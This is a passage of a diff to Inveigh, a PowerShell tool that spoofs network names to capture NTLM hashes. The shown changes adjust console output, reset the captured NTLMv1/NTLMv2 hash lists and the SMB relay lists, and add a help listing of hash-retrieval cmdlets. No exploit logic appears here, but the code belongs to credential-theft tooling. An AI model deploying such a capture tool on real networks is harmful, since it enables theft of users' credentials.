-                    "Inveigh exited at *"
-                    {
-                        write-warning $inveigh.status_queue[0]
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-                    "SSL Certificate Deletion Error - Remove Manually"
-                    {
-                        write-warning $inveigh.status_queue[0]
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-                    default
-                    {
-                        write-output $inveigh.status_queue[0]
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-                } 
-            }   
-        }
+                    write-warning $inveigh.status_queue[0]
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
+                "SSL Certificate Deletion Error - Remove Manually"
+                {
+                    write-warning $inveigh.status_queue[0]
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
+                default
+                {
+                    write-output $inveigh.status_queue[0]
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
+            } 
+        }   
     }
 } 
 
@@ -1496,11 +2127,11 @@ Function Watch-Inveigh
 {
     <#
     .SYNOPSIS
-    Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell.
+    Watch-Inveigh will enabled real time console output. If using this cmdlet through a shell, test to ensure that it doesn't hang the shell.
     #>
     if($inveigh.tool -ne 1)
     {
-        if($inveigh.running -or $inveigh.relay_running)
+        if($inveigh.running)
         {
             Write-Output "Press any key to stop real time console output"
             $inveigh.console_output = $true
@@ -1576,24 +2207,45 @@ Function Watch-Inveigh
     {
         Write-Output "Watch-Inveigh cannot be used with current external tool selection"
     }
+
 }
 
 Function Clear-Inveigh
 {
     <#
     .SYNOPSIS
-    Clear-Inveigh will clear Inveigh data from memory.
+    Clear-Inveigh will clear Inveigh's NTLMv1, NTLMv2, log, output, failed smbrelay, and spoof repeat suppression lists.
     #>
     if($inveigh)
     {
-        if(!$inveigh.running -and !$inveigh.relay_running)
-        {
-            Remove-Variable inveigh -scope global
-            Write-Output "Inveigh data has been cleared from memory"
-        }
-        else
-        {
-            Write-Output "Run Stop-Inveigh before running Clear-Inveigh"
-        }
+        $inveigh.console_queue = New-Object System.Collections.ArrayList
+        $inveigh.log_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
+        $inveigh.log_file_queue = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
+        $inveigh.IP_capture_list = @()
+        $inveigh.SMBRelay_failed_list = @()
     }
 }
+
+Function Get-InveighHelp
+{
+    <#
+    .SYNOPSIS
+    Get-InveighHelp will cmdlet list.
+    #>
+    "-"*26 + "(Get-InveighHelp)" + "-"*26 | Write-Output
+    write-output "Invoke-Inveigh - Start Inveigh with or without parameters"
+    write-output "Get-Inveigh - Get queued console output"
+    write-output "Get-InveighLog - Get log entries"
+    write-output "Get-InveighNTLM - Get all captured challenge/response hashes" 
+    write-output "Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes"
+    write-output "Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes"
+    write-output "Get-InveighStats - Get captured challenge/response counts"
+    write-output "Watch-Inveigh - Enable real time console output"
+    write-output "Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists"
+    write-output "Stop-Inveigh - Stop Inveigh"
+    "-"*69 | Write-Output
+}
\ No newline at end of file